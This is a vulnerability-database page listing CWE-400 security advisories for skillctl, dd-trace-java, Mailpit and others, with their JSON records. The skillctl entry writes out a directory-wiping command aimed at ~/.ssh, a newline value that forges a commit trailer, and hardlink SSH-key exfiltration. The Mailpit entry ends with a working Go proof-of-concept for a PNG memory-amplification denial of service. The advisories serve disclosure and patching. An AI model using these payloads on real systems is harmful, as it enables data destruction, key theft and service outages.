CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6239 vulnerabilities reference this CWE, most recent first.
GHSA-74P7-6H78-GW8P
Vulnerability from github – Published: 2026-06-22 22:45 – Updated: 2026-06-22 22:45Impact
Following the path-safety patches in GHSA-wx3m-whqv-xv47 (v0.1.2), a comprehensive multi-angle audit surfaced five further vulnerabilities, now patched in v0.1.3:
source_shaargument injection ingit ls-tree(CRITICAL).InstalledSkill.source_shadeserialized from.skills.toml(committed, PR-mergeable) flowed unvalidated intogit ls-tree -r -z <refspec> -- <path>. Because the refspec sits before--, an attacker who slipped a malicious.skills.tomlinto a PR could setsource_sha = "--name-only"/--abbrev=0/--output=…and corrupt the diff classifier (which drivespull/pushdestructive decisions), or forge a divergence state to trickpush --on-divergence overwriteinto clobbering the wrong content.- FIFO / device / socket denial-of-service in
copy_dir_all(CRITICAL). The file-type branch only checkedis_dir()/is_symlink(); a FIFO inside a skill folder fell through tofs::copy, which blocks indefinitely waiting for a writer. A character device like/dev/zerowould read until OOM. Reachable onskillctl addagainst any adversarial library. add --destarbitrary-directory wipe in agent mode (HIGH).--destaccepted absolute paths and..traversal without validation, so a single invocationskillctl add --dest /Users/victim/.ssh --on-conflict overwrite --skill <maliciously-named>wouldremove_dir_allarbitrary directories — no.skills.tomlround-trip required. Reachable in any non-interactive / agent-driven workflow where flag values may be attacker-supplied.- Commit-message trailer forgery via skill names (HIGH). Skill names were spliced verbatim into
git commit -m "update skill: <name>"and into thecommit.messagefield of--jsonoutput. A skill namedfoo\nCo-Authored-By: evil@xproduced a forged commit trailer that downstream tooling (Linear, GitHub commit-bot, release-notes scrapers) treats as real authorship metadata. - Hardlink exfiltration via the round-trip (HIGH).
fs::symlink_metadatareports a regular file for hardlinks (shared inode), andfs::copyreads the target content. An untrusted agent writing<project>/my-skill/dataas a hardlink to~/.ssh/id_rsawould have shipped the SSH key content to the (possibly public) library on the nextskillctl pushordetect.
Patches
Fixed in v0.1.3:
InstalledSkill::validaterejects anysource_shathat isn't 40–64 hex characters.fs_util::copy_dir_allonly allows regular files and directories; FIFO / socket / device / other special files are rejected withAppError::Config.commands::add::resolve_destinationrejects..unconditionally and rejects absolute paths in non-interactive /--jsonmode.- New
src/sanitize.rsmodule:validate_identifier(strict, no control bytes / newlines / ESC, used for skillname+ individualtags) andvalidate_message_safe(lenient, allows\n+\t, rejects\r+ DEL + C0/C1 controls, used fordescriptionand--message). Wired at theskill::discoverandread_tagsboundaries so poisoned skills are dropped silently and poisoned descriptions/tags are stripped from otherwise-valid skills. fs_util::copy_dir_allchecksmetadata.nlink() > 1on regular files (Unix) and refuses hardlinked content.
All checks are lexical or single-syscall (symlink_metadata, metadata). No canonicalize, no TOCTOU windows. 23 new unit + integration tests cover each rejection class; cargo test: 95 pass; clippy clean; cargo audit clean.
Workarounds
Upgrade to v0.1.3. Pre-patch mitigations are awkward but possible:
- Audit every .skills.toml source_sha field before running skillctl pull / push / detect.
- Audit library content for FIFO / device files and hardlinks before running skillctl add.
- Never invoke skillctl add with attacker-controllable --dest values in agent / CI contexts.
- Never use --message with attacker-controlled content.
Credit
The findings were surfaced by a maintainer-led multi-angle audit (6 parallel sub-agents, one per threat-model dimension) following the firebaguette audit that motivated v0.1.2. The methodology (cross-agent convergence to identify the most exploitable items) is documented in the project's internal decisions log; the strongest signal was the four-of-six independent convergence on the source_sha vector.
Resources
- Fix commit: 28dfce3
- Release: https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3
- Prior advisory (path-safety + symlinks): GHSA-wx3m-whqv-xv47
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "skillctl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-400",
"CWE-59",
"CWE-88",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T22:45:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Impact\n\nFollowing the path-safety patches in [GHSA-wx3m-whqv-xv47](https://github.com/umanio-agency/skillctl/security/advisories/GHSA-wx3m-whqv-xv47) (v0.1.2), a comprehensive multi-angle audit surfaced five further vulnerabilities, now patched in v0.1.3:\n\n1. **`source_sha` argument injection in `git ls-tree` (CRITICAL).** `InstalledSkill.source_sha` deserialized from `.skills.toml` (committed, PR-mergeable) flowed unvalidated into `git ls-tree -r -z \u003crefspec\u003e -- \u003cpath\u003e`. Because the refspec sits before `--`, an attacker who slipped a malicious `.skills.toml` into a PR could set `source_sha = \"--name-only\"` / `--abbrev=0` / `--output=\u2026` and corrupt the diff classifier (which drives `pull` / `push` destructive decisions), or forge a divergence state to trick `push --on-divergence overwrite` into clobbering the wrong content.\n2. **FIFO / device / socket denial-of-service in `copy_dir_all` (CRITICAL).** The file-type branch only checked `is_dir()` / `is_symlink()`; a FIFO inside a skill folder fell through to `fs::copy`, which blocks indefinitely waiting for a writer. A character device like `/dev/zero` would read until OOM. Reachable on `skillctl add` against any adversarial library.\n3. **`add --dest` arbitrary-directory wipe in agent mode (HIGH).** `--dest` accepted absolute paths and `..` traversal without validation, so a single invocation `skillctl add --dest /Users/victim/.ssh --on-conflict overwrite --skill \u003cmaliciously-named\u003e` would `remove_dir_all` arbitrary directories \u2014 no `.skills.toml` round-trip required. Reachable in any non-interactive / agent-driven workflow where flag values may be attacker-supplied.\n4. **Commit-message trailer forgery via skill names (HIGH).** Skill names were spliced verbatim into `git commit -m \"update skill: \u003cname\u003e\"` and into the `commit.message` field of `--json` output. A skill named `foo\\nCo-Authored-By: evil@x` produced a forged commit trailer that downstream tooling (Linear, GitHub commit-bot, release-notes scrapers) treats as real authorship metadata.\n5. **Hardlink exfiltration via the round-trip (HIGH).** `fs::symlink_metadata` reports a regular file for hardlinks (shared inode), and `fs::copy` reads the target content. An untrusted agent writing `\u003cproject\u003e/my-skill/data` as a hardlink to `~/.ssh/id_rsa` would have shipped the SSH key content to the (possibly public) library on the next `skillctl push` or `detect`.\n\n## Patches\n\nFixed in [v0.1.3](https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3):\n\n- `InstalledSkill::validate` rejects any `source_sha` that isn\u0027t 40\u201364 hex characters.\n- `fs_util::copy_dir_all` only allows regular files and directories; FIFO / socket / device / other special files are rejected with `AppError::Config`.\n- `commands::add::resolve_destination` rejects `..` unconditionally and rejects absolute paths in non-interactive / `--json` mode.\n- New `src/sanitize.rs` module: `validate_identifier` (strict, no control bytes / newlines / ESC, used for skill `name` + individual `tags`) and `validate_message_safe` (lenient, allows `\\n` + `\\t`, rejects `\\r` + DEL + C0/C1 controls, used for `description` and `--message`). Wired at the `skill::discover` and `read_tags` boundaries so poisoned skills are dropped silently and poisoned descriptions/tags are stripped from otherwise-valid skills.\n- `fs_util::copy_dir_all` checks `metadata.nlink() \u003e 1` on regular files (Unix) and refuses hardlinked content.\n\nAll checks are lexical or single-syscall (`symlink_metadata`, `metadata`). No `canonicalize`, no TOCTOU windows. 23 new unit + integration tests cover each rejection class; `cargo test`: 95 pass; clippy clean; `cargo audit` clean.\n\n## Workarounds\n\nUpgrade to v0.1.3. Pre-patch mitigations are awkward but possible:\n- Audit every `.skills.toml` `source_sha` field before running `skillctl pull` / `push` / `detect`.\n- Audit library content for FIFO / device files and hardlinks before running `skillctl add`.\n- Never invoke `skillctl add` with attacker-controllable `--dest` values in agent / CI contexts.\n- Never use `--message` with attacker-controlled content.\n\n## Credit\n\nThe findings were surfaced by a maintainer-led multi-angle audit (6 parallel sub-agents, one per threat-model dimension) following the firebaguette audit that motivated v0.1.2. The methodology (cross-agent convergence to identify the most exploitable items) is documented in the project\u0027s internal decisions log; the strongest signal was the four-of-six independent convergence on the `source_sha` vector.\n\n## Resources\n\n- Fix commit: [28dfce3](https://github.com/umanio-agency/skillctl/commit/28dfce3)\n- Release: https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3\n- Prior advisory (path-safety + symlinks): [GHSA-wx3m-whqv-xv47](https://github.com/umanio-agency/skillctl/security/advisories/GHSA-wx3m-whqv-xv47)",
"id": "GHSA-74p7-6h78-gw8p",
"modified": "2026-06-22T22:45:16Z",
"published": "2026-06-22T22:45:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/umanio-agency/skillctl/security/advisories/GHSA-74p7-6h78-gw8p"
},
{
"type": "WEB",
"url": "https://github.com/umanio-agency/skillctl/security/advisories/GHSA-wx3m-whqv-xv47"
},
{
"type": "WEB",
"url": "https://github.com/umanio-agency/skillctl/commit/28dfce3"
},
{
"type": "PACKAGE",
"url": "https://github.com/umanio-agency/skillctl"
},
{
"type": "WEB",
"url": "https://github.com/umanio-agency/skillctl/releases/tag/v0.1.3"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "skillctl: argument injection, path traversal in --dest, FIFO/device DoS, hardlink exfiltration, and commit-trailer forgery"
}
GHSA-74XJ-WH4W-VQXC
Vulnerability from github – Published: 2026-07-15 22:53 – Updated: 2026-07-15 22:53Impact
Datadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.
Patches
This is resolved in version 1.62.0 and later of the dd-trace-java library.
Workarounds
If users cannot upgrade immediately:
1. Disable baggage extraction by removing baggage from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT if set independently).
2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache LimitRequestFieldSize, Nginx large_client_header_buffers, Envoy max_request_headers_kb).
Resources
Related upstream advisories: opentelemetry-go GHSA-mh2q-q3fh-2475 opentelemetry-dotnet GHSA-g94r-2vxg-569j
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.datadoghq:dd-java-agent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.62.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50270"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T22:53:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nDatadog tracing libraries that implement W3C baggage propagation parse incoming baggage HTTP headers without enforcing item-count or byte-size limits on the extract path. The DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) and DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) limits were applied only to baggage injection, not extraction. A remote, unauthenticated attacker can send a request whose baggage header contains an arbitrarily large number of comma-separated key-value pairs (or a single very large value). The tracer allocates a hash-map entry for each pair on every request, causing unbounded CPU and memory consumption and enabling a remote Denial of Service against any HTTP service that has the baggage propagation style enabled. The baggage propagation style is enabled by default in most affected tracers, so any internet-facing service that has been instrumented with an affected tracer version is exposed unless the propagation style has been explicitly narrowed.\n\n\n### Patches\nThis is resolved in version 1.62.0 and later of the `dd-trace-java` library.\n\n### Workarounds\nIf users cannot upgrade immediately:\n1. Disable `baggage` extraction by removing `baggage` from `DD_TRACE_PROPAGATION_STYLE` (or `DD_TRACE_PROPAGATION_STYLE_EXTRACT` if set independently).\n2. Cap the maximum HTTP request header size at an upstream proxy or web server (for example, Apache `LimitRequestFieldSize`, Nginx `large_client_header_buffers`, Envoy `max_request_headers_kb`).\n\n\n### Resources\nRelated upstream advisories:\n[opentelemetry-go GHSA-mh2q-q3fh-2475](https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475)\n[opentelemetry-dotnet GHSA-g94r-2vxg-569j](https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-g94r-2vxg-569j)",
"id": "GHSA-74xj-wh4w-vqxc",
"modified": "2026-07-15T22:53:16Z",
"published": "2026-07-15T22:53:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-java/security/advisories/GHSA-74xj-wh4w-vqxc"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/dd-trace-java"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "dd-trace-java: Improper parsing of W3C baggage headers may lead to DoS"
}
GHSA-752C-24PX-69M9
Vulnerability from github – Published: 2023-04-20 09:30 – Updated: 2026-02-23 09:31User-controlled operations could have allowed Denial of Service in M-Files Server before 23.4.12528.1
due to uncontrolled memory consumption for a scheduled job.
{
"affected": [],
"aliases": [
"CVE-2023-0384"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-20T09:15:08Z",
"severity": "HIGH"
},
"details": "User-controlled operations could have allowed Denial of Service in M-Files Server before 23.4.12528.1\n\n due to uncontrolled memory consumption for a scheduled job.",
"id": "GHSA-752c-24px-69m9",
"modified": "2026-02-23T09:31:17Z",
"published": "2023-04-20T09:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0384"
},
{
"type": "WEB",
"url": "https://empower.m-files.com/security-advisories/CVE-2023-0384"
},
{
"type": "WEB",
"url": "https://product.m-files.com/security-advisories/cve-2023-0384"
},
{
"type": "WEB",
"url": "https://www.m-files.com/about/trust-center/security-advisories/cve-2023-0384"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7537-7Q22-H2H7
Vulnerability from github – Published: 2024-03-08 03:31 – Updated: 2026-04-02 21:31The issue was addressed with improved checks. This issue is fixed in iOS 16.7.6 and iPadOS 16.7.6, iOS 17.4 and iPadOS 17.4, macOS Sonoma 14.4. Processing web content may lead to a denial-of-service.
{
"affected": [],
"aliases": [
"CVE-2024-23259"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-08T02:15:48Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in iOS 16.7.6 and iPadOS 16.7.6, iOS 17.4 and iPadOS 17.4, macOS Sonoma 14.4. Processing web content may lead to a denial-of-service.",
"id": "GHSA-7537-7q22-h2h7",
"modified": "2026-04-02T21:31:37Z",
"published": "2024-03-08T03:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23259"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120880"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120893"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/120895"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214081"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214082"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT214084"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214081"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214082"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT214084"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Mar/21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7597-PG24-8MV9
Vulnerability from github – Published: 2026-08-28 12:30 – Updated: 2026-08-28 12:30An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in, which causes memory and CPU usage to grow disproportionately. The login process can be terminated by the out-of-memory handling, which also terminates all other connections handled by the same process. This can cause degradation or denial of service for IMAP logins. Limit the number of connections handled by a single imap-login process. This has a performance impact though. Update to non-vulnerable version. No publicly available exploits are known.
{
"affected": [],
"aliases": [
"CVE-2026-42391"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-28T12:16:29Z",
"severity": "HIGH"
},
"details": "An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in, which causes memory and CPU usage to grow disproportionately. The login process can be terminated by the out-of-memory handling, which also terminates all other connections handled by the same process. This can cause degradation or denial of service for IMAP logins. Limit the number of connections handled by a single imap-login process. This has a performance impact though. Update to non-vulnerable version. No publicly available exploits are known.",
"id": "GHSA-7597-pg24-8mv9",
"modified": "2026-08-28T12:30:26Z",
"published": "2026-08-28T12:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42391"
},
{
"type": "WEB",
"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0003.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-75FH-5JM2-JR94
Vulnerability from github – Published: 2022-05-17 02:25 – Updated: 2022-05-17 02:25The mod_dontdothat component of the mod_dav_svn Apache module in Subversion as packaged in Red Hat Enterprise Linux 5.11 does not properly detect recursion during entity expansion, which allows remote authenticated users with access to the webdav repository to cause a denial of service (memory consumption and httpd crash). NOTE: Exists as a regression to CVE-2009-1955.
{
"affected": [],
"aliases": [
"CVE-2016-6312"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-17T13:18:00Z",
"severity": "MODERATE"
},
"details": "The mod_dontdothat component of the mod_dav_svn Apache module in Subversion as packaged in Red Hat Enterprise Linux 5.11 does not properly detect recursion during entity expansion, which allows remote authenticated users with access to the webdav repository to cause a denial of service (memory consumption and httpd crash). NOTE: Exists as a regression to CVE-2009-1955.",
"id": "GHSA-75fh-5jm2-jr94",
"modified": "2022-05-17T02:25:46Z",
"published": "2022-05-17T02:25:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6312"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1364122"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/92320"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-75JX-33J6-76C5
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04The Gluster file system through versions 4.1.4 and 3.1.2 is vulnerable to a denial of service attack via use of the 'GF_XATTR_IOSTATS_DUMP_KEY' xattr. A remote, authenticated attacker could exploit this by mounting a Gluster volume and repeatedly calling 'setxattr(2)' to trigger a state dump and create an arbitrary number of files in the server's runtime directory.
{
"affected": [],
"aliases": [
"CVE-2018-14659"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-31T19:29:00Z",
"severity": "MODERATE"
},
"details": "The Gluster file system through versions 4.1.4 and 3.1.2 is vulnerable to a denial of service attack via use of the \u0027GF_XATTR_IOSTATS_DUMP_KEY\u0027 xattr. A remote, authenticated attacker could exploit this by mounting a Gluster volume and repeatedly calling \u0027setxattr(2)\u0027 to trigger a state dump and create an arbitrary number of files in the server\u0027s runtime directory.",
"id": "GHSA-75jx-33j6-76c5",
"modified": "2022-05-13T01:04:42Z",
"published": "2022-05-13T01:04:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14659"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3431"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3432"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:3470"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2018-14659"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1635929"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14659"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00003.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/11/msg00000.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201904-06"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-75M3-F4HR-2VH9
Vulnerability from github – Published: 2023-06-14 15:30 – Updated: 2023-06-27 19:48An issue was discovered jjson through 0.1.7 allows attackers to cause a denial of service or other unspecified impacts via crafted objects that deeply nested structures.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "de.grobmeier.json:jjson"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-35110"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-14T21:11:23Z",
"nvd_published_at": "2023-06-14T14:15:10Z",
"severity": "HIGH"
},
"details": "An issue was discovered jjson through 0.1.7 allows attackers to cause a denial of service or other unspecified impacts via crafted objects that deeply nested structures.",
"id": "GHSA-75m3-f4hr-2vh9",
"modified": "2023-06-27T19:48:59Z",
"published": "2023-06-14T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35110"
},
{
"type": "WEB",
"url": "https://github.com/grobmeier/jjson/issues/2"
},
{
"type": "PACKAGE",
"url": "https://github.com/grobmeier/jjson"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "jjson vulnerable to stack exhaustion"
}
GHSA-75MR-QW9X-3R39
Vulnerability from github – Published: 2026-09-02 23:39 – Updated: 2026-09-02 23:39Summary
Mailpit's thumbnail endpoint decodes attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request /api/v1/message/{id}/part/{partID}/thumb to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.
Technical Details
The route is registered as GET /api/v1/message/{id}/part/{partID}/thumb in server/server.go. The handler in server/apiv1/thumbnails.go loads the requested attachment and accepts any part whose content type begins with image/:
a, err := storage.GetAttachmentPart(id, partID)
// ...
if !strings.HasPrefix(a.ContentType, "image/") {
blankImage(a, w)
return
}
buf := bytes.NewBuffer(a.Content)
img, err := imaging.Decode(buf, imaging.AutoOrientation(true))
storage.GetAttachmentPart() reparses the stored raw email and returns the matching attacker-supplied attachment bytes. Thumbnail() then calls imaging.Decode() before any check on declared dimensions or estimated decoded bytes. The subsequent imaging.Fill(img, 180, 120, ...), imaging.Clone(), and JPEG encode only happen after the full image has already been decoded.
The thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.
The UI also naturally reaches this endpoint for image attachments. server/ui-src/components/message/MessageAttachments.vue uses /api/v1/message/{message.ID}/part/{part.PartID}/thumb as the <img src> for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.
PoV
The following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual PartID, and call Thumbnail().
The oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.
package apiv1
import (
"bytes"
"compress/zlib"
"encoding/base64"
"encoding/binary"
"fmt"
"hash/crc32"
"net/http"
"net/http/httptest"
"path/filepath"
"strings"
"testing"
"github.com/axllent/mailpit/config"
"github.com/axllent/mailpit/internal/logger"
"github.com/axllent/mailpit/internal/storage"
"github.com/kovidgoyal/imaging"
)
func pngChunk(kind string, data []byte) []byte {
var out bytes.Buffer
_ = binary.Write(&out, binary.BigEndian, uint32(len(data)))
out.WriteString(kind)
out.Write(data)
crc := crc32.NewIEEE()
crc.Write([]byte(kind))
crc.Write(data)
_ = binary.Write(&out, binary.BigEndian, crc.Sum32())
return out.Bytes()
}
func solidRGBApng(width, height int) []byte {
var out bytes.Buffer
out.Write([]byte{0x89, 'P', 'N', 'G', '\r', '\n', 0x1a, '\n'})
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))
ihdr[8] = 8
ihdr[9] = 6
out.Write(pngChunk("IHDR", ihdr))
var compressed bytes.Buffer
zw := zlib.NewWriter(&compressed)
row := make([]byte, 1+width*4)
for i := 0; i < height; i++ {
_, _ = zw.Write(row)
}
_ = zw.Close()
out.Write(pngChunk("IDAT", compressed.Bytes()))
out.Write(pngChunk("IEND", nil))
return out.Bytes()
}
func TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))
if err != nil {
t.Fatalf("decode failed: %v", err)
}
thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)
if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {
t.Fatalf("unexpected thumbnail bounds: %v", thumb.Bounds())
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))
})
}
}
func TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {
logger.NoLogging = true
config.Database = filepath.Join(t.TempDir(), "mailpit.db")
config.Compression = 0
config.TenantID = ""
config.MaxMessages = 0
if err := storage.InitDB(); err != nil {
t.Fatalf("InitDB failed: %v", err)
}
defer storage.Close()
for _, tc := range []struct {
name string
width int
height int
}{
{name: "negative-control", width: 16, height: 16},
{name: "oversized-attachment", width: 4096, height: 4096},
} {
t.Run(tc.name, func(t *testing.T) {
payload := solidRGBApng(tc.width, tc.height)
raw := []byte(fmt.Sprintf("From: sender@example.test\r\nTo: victim@example.test\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"pov-boundary\"\r\n\r\n--pov-boundary\r\nContent-Type: text/plain\r\n\r\nbody\r\n--pov-boundary\r\nContent-Type: image/png; name=\"pov.png\"\r\nContent-Disposition: attachment; filename=\"pov.png\"\r\nContent-Transfer-Encoding: base64\r\n\r\n%s\r\n--pov-boundary--\r\n", tc.name, wrapBase64(payload)))
id, err := storage.Store(&raw, nil)
if err != nil {
t.Fatalf("Store failed: %v", err)
}
msg, err := storage.GetMessage(id)
if err != nil {
t.Fatalf("GetMessage failed: %v", err)
}
if len(msg.Attachments) != 1 {
t.Fatalf("attachments=%d, want 1", len(msg.Attachments))
}
req := httptest.NewRequest(http.MethodGet, "/api/v1/message/"+id+"/part/"+msg.Attachments[0].PartID+"/thumb", nil)
req.SetPathValue("id", id)
req.SetPathValue("partID", msg.Attachments[0].PartID)
rr := httptest.NewRecorder()
Thumbnail(rr, req)
if rr.Code != http.StatusOK {
t.Fatalf("Thumbnail status=%d body=%q", rr.Code, rr.Body.String())
}
if ct := rr.Header().Get("Content-Type"); ct != "image/jpeg" {
t.Fatalf("Content-Type=%q, want image/jpeg", ct)
}
decodedRGBA := tc.width * tc.height * 4
t.Logf("%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())
})
}
}
func wrapBase64(b []byte) string {
encoded := base64.StdEncoding.EncodeToString(b)
var lines []string
for len(encoded) > 76 {
lines = append(lines, encoded[:76])
encoded = encoded[76:]
}
if encoded != "" {
lines = append(lines, encoded)
}
return strings.Join(lines, "\r\n")
}
PoC
From a Mailpit checkout, save the test above as server/apiv1/thumbnail_dimension_pov_test.go and run:
docker run --rm -v "$PWD:/src" -w /src golang:1.25 go test ./server/apiv1 -run 'TestThumbnail.*DimensionAmplificationPoV' -v
